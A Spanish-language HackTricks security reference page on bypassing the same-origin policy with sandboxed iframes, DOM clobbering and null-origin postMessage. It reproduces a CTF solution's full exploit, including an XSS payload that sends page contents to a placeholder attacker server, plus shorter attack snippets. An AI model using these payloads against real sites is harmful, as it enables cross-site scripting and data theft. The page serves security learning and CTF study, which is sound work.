Bypassing SOP with Iframes - 2

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Iframes in SOP-2

En la solution para este challenge, @Strellic_ propone un método similar al de la sección anterior. Veámoslo.

En este desafío el atacante necesita bypass lo siguiente:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Si lo hace, puede enviar un postmessage con contenido HTML que se va a escribir en la página con innerHTML sin saneamiento (XSS).

La forma de bypassear la primera comprobación es haciendo que window.calc.contentWindow sea undefined y e.source sea null:

  • window.calc.contentWindow es en realidad document.getElementById("calc"). Puedes clobber document.getElementById con <img name=getElementById /> (nota que Sanitizer API -here- no está configurada para proteger contra DOM clobbering en su estado predeterminado).
  • Por lo tanto, puedes clobber document.getElementById("calc") con <img name=getElementById /><div id=calc></div>. Entonces, window.calc será undefined.
  • Ahora, necesitamos que e.source sea undefined o null (porque se usa == en lugar de ===, null == undefined es True). Conseguir esto es “fácil”. Si creas un iframe y send un postMessage desde él y eliminas inmediatamente el iframe, e.origin va a ser null. Revisa el siguiente código
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Para evitar la segunda comprobación sobre el token hay que enviar token con valor null y hacer que el valor de window.token sea undefined:

  • Enviar token en el postMessage con valor null es trivial.
  • window.token se obtiene llamando a la función getCookie que usa document.cookie. Ten en cuenta que cualquier acceso a document.cookie en páginas con origen null desencadena un error. Esto hará que window.token tenga el valor undefined.

La solución final de @terjanq es la following:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Una tarea reciente de TryHackMe (“Vulnerable Codes”) demuestra cómo se pueden secuestrar popups de OAuth cuando el opener vive dentro de un iframe en modo sandbox que solo permite scripts y popups. El iframe fuerza tanto a sí mismo como al popup a un origin "null", por lo que los handlers que comprueban if (origin !== window.origin) return fallan silenciosamente porque window.origin dentro del popup también es "null". Aunque el navegador todavía expone el location.origin real, la víctima nunca lo inspecciona, así que los mensajes controlados por el atacante pasan sin problema.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Puntos clave para explotar esa configuración:

  • Los handlers que comparan origin con window.origin dentro del popup pueden ser eludidos porque ambos evalúan a "null", por lo que los mensajes falsificados parecen legítimos.
  • Los sandboxed iframes que conceden allow-popups pero omiten allow-same-origin aún generan popups bloqueados al origen null controlado por el atacante, proporcionándote un enclave estable incluso en compilaciones de Chromium de 2025.

Source-nullification & frame-restriction bypasses

Los writeups de la industria sobre CVE-2024-49038 destacan dos primitivas reutilizables para esta página: (1) aún puedes interactuar con páginas que establecen X-Frame-Options: DENY lanzándolas vía window.open y enviando mensajes una vez que la navegación se completa, y (2) puedes forzar por fuerza bruta las comprobaciones event.source == victimFrame eliminando el iframe inmediatamente después de enviar el mensaje para que el receptor solo vea null en el handler.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Combina esto con el truco de DOM-clobbering de arriba: una vez que el receptor solo ve event.source === null, cualquier comparación contra window.calc.contentWindow o similar se colapsa, permitiéndote enviar de nuevo sinks HTML maliciosos a través de innerHTML.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks